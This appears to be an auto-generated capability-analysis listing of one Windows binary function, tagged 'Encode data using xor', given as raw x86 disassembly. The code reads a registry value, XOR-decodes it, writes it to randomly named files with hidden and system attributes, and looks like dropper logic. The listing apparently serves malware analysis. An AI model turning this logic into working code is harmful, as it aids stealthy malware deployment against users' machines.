Function at 0x10002fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x22a4
call fcn.10008d80
mov eax, dword [0x1ac010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
push 0
mov dword [ebp - 0x2260], esi
call fcn.10003f70
add esp, 4
push eax
call fcn.10003e06
mov edi, dword [0x1a9030]
add esp, 4
push 0x1aada0
push 0x1aadbc
call edi
mov ebx, dword [0x1a9054]
push eax
call ebx
push 0x1aadc8
push 0x1aadbc
mov dword [0x1af538], eax
call edi
push eax
call ebx
mov dword [0x1af528], eax
xor eax, eax
mov dword [ebp - 0x2264], eax
mov dword [ebp - 0x2254], eax
call fcn.100020c0
push esi
mov esi, dword [0x1a9184]
lea eax, [ebp - 0x1048]
push 0x1aadd8
push eax
call esi
add esp, 0xc
push 1
call dword [0x1a901c]
push 0
push 0
lea ecx, [ebp - 0x228c]
push ecx
mov edx, ecx
push edx
push 0
push 0x208
lea eax, [ebp - 0x1250]
push eax
lea ecx, [ebp - 0x1048]
push ecx
call dword [0x1a9080]
test eax, eax
je 0x10003859
push 0x1aade0
push 0x1aadf4
call edi
push eax
call ebx
test eax, eax
je 0x10003767
lea edx, [ebp - 0x2298]
push edx
lea ecx, [ebp - 0x2270]
push ecx
lea edx, [ebp - 0x22a0]
push edx
lea ecx, [ebp - 0x1048]
push ecx
call eax
mov edi, dword [ebp - 0x226c]
mov eax, dword [ebp - 0x2270]
shrd eax, edi, 0x1e
inc eax
shr edi, 0x1e
mov dword [ebp - 0x2274], eax
cmp eax, 0x40
jg 0x10003859
lea eax, [ebp - 0x2258]
push eax
push 0x20019
push 0
push 0x1aac88
push 0x80000001
call dword [0x1a9004]
test eax, eax
jne 0x10003859
mov ebx, dword [ebp - 0x2260]
push ebx
lea ecx, [ebp - 0x210]
push 0x1aae10
push ecx
call esi
add esp, 0xc
push 0
lea edx, [ebp - 0x210]
push edx
call dword [0x1a902c]
test eax, eax
jne 0x10003167
call dword [0x1a9050]
cmp eax, 0xb7
jne 0x10003859
lea ecx, [ebp - 0x210]
call fcn.10002ce0
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x828]
push 0x1aae1c
push ecx
call esi
mov edi, dword [0x1a9074]
add esp, 0xc
lea edx, [ebp - 0x828]
push edx
call edi
test eax, eax
jne 0x100031b8
push 0x80
lea eax, [ebp - 0x828]
push eax
call dword [0x1a907c]
lea ecx, [ebp - 0x828]
push ecx
call edi
push 0
push 0x26
push 2
push 0
push 0
push 0x40000000
lea edx, [ebp - 0x828]
push edx
call dword [0x1a9044]
push 0
mov ebx, eax
lea eax, [ebp - 0x2264]
push eax
push 0x7e
push 0x1acde0
push ebx
call dword [0x1a9038]
push ebx
call dword [0x1a9070]
push 6
lea ecx, [ebp - 0x210]
push ecx
call dword [0x1a907c]
mov eax, dword [ebp - 0x2258]
mov ebx, dword [0x1a9008]
lea edx, [ebp - 0x2254]
push edx
push 0
push 0
push 0
push 0x1aaac4
push eax
call ebx
test eax, eax
jne 0x1000341d
mov ecx, dword [ebp - 0x2254]
push 4
push 0x1000
push ecx
push eax
call dword [0x1a9058]
mov edi, eax
test edi, edi
je 0x1000341d
mov eax, dword [ebp - 0x2258]
lea edx, [ebp - 0x2254]
push edx
push edi
push 0
push 0
push 0x1aaac4
push eax
call ebx
movzx ecx, byte [edi]
xor eax, eax
xor ecx, 0xb
cmp dword [ebp - 0x2254], eax
jbe 0x10003289
mov dl, byte [eax + edi]
xor dl, cl
add dl, 0x42
mov byte [eax + edi], dl
inc eax
cmp eax, dword [ebp - 0x2254]
jb 0x10003275
call fcn.10003e18
cdq
mov ecx, 0xa
idiv ecx
mov ebx, edx
inc ebx
mov edx, 0
mov word [ebp + ebx*2 - 0xa30], dx
je 0x100032c5
dec ebx
call fcn.10003e18
cdq
mov ecx, 0x1a
idiv ecx
add edx, 0x41
mov word [ebp + ebx*2 - 0xa30], dx
test ebx, ebx
jne 0x100032a8
call fcn.10003e18
mov esi, eax
and esi, 0x800000ff
jns 0x100032dc
dec esi
or esi, 0xffffff00
inc esi
add esi, 0x100
lea ebx, [esi*8]
push 4
sub ebx, esi
add ebx, dword [ebp - 0x2254]
push 0x1000
push ebx
push 0
call dword [0x1a9058]
mov edx, dword [ebp - 0x2254]
push edx
push edi
push eax
mov dword [ebp - 0x225c], eax
call fcn.10007c30
add esp, 0xc
call fcn.10003e18
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x2254]
sub eax, edx
dec eax
test esi, esi
je 0x10003369
add eax, dword [ebp - 0x225c]
mov dword [ebp - 0x2278], eax
mov edi, edi
call fcn.10002210
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2278]
mov dword [ecx], edx
mov dx, word [eax + 4]
mov word [ecx + 4], dx
mov al, byte [eax + 6]
mov byte [ecx + 6], al
add ecx, 7
dec esi
mov dword [ebp - 0x2278], ecx
jne 0x10003340
mov edx, dword [ebp - 0x2260]
lea ecx, [ebp - 0xa30]
push ecx
push edx
lea eax, [ebp - 0xc38]
push 0x1aae3c
push eax
call dword [0x1a9184]
mov esi, dword [0x1a9074]
add esp, 0x10
lea ecx, [ebp - 0xc38]
push ecx
call esi
test eax, eax
jne 0x100033ba
push 0x80
lea edx, [ebp - 0xc38]
push edx
call dword [0x1a907c]
lea eax, [ebp - 0xc38]
push eax
call esi
push 0
push 7
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0xc38]
push ecx
call dword [0x1a9044]
push 0
lea edx, [ebp - 0x2264]
push edx
push ebx
mov ebx, dword [ebp - 0x225c]
mov esi, eax
push ebx
push esi
call dword [0x1a9038]
push 0x8000
push 0
push edi
mov edi, dword [0x1a9034]
call edi
push 0x8000
push 0
push ebx
call edi
push esi
call dword [0x1a9070]
mov ebx, dword [0x1a9008]
mov esi, dword [0x1a9184]
sbb al, byte [eax]
lea edx, [ebp - 0x2284]
push edx
lea eax, [ebp - 0x227c]
push eax
lea ecx, [ebp - 0x2288]
push ecx
lea edx, [ebp - 0x2280]
push edx
lea eax, [ebp - 0x1048]
push eax
call dword [0x1a905c]
test eax, eax
je 0x100030e2
mov eax, dword [ebp - 0x2280]
mul dword [ebp - 0x2288]
mov ecx, dword [ebp - 0x2284]
mov esi, edx
push esi
mov ebx, eax
push ebx
push 0
push ecx
call fcn.100099e0
push esi
push ebx
mov edi, edx
mov edx, dword [ebp - 0x227c]
push 0
push edx
mov dword [ebp - 0x2270], eax
mov dword [ebp - 0x226c], edi
call fcn.100099e0
mov esi, dword [0x1a9184]
mov dword [ebp - 0x2298], eax
mov dword [ebp - 0x2294], edx
jmp 0x100030e8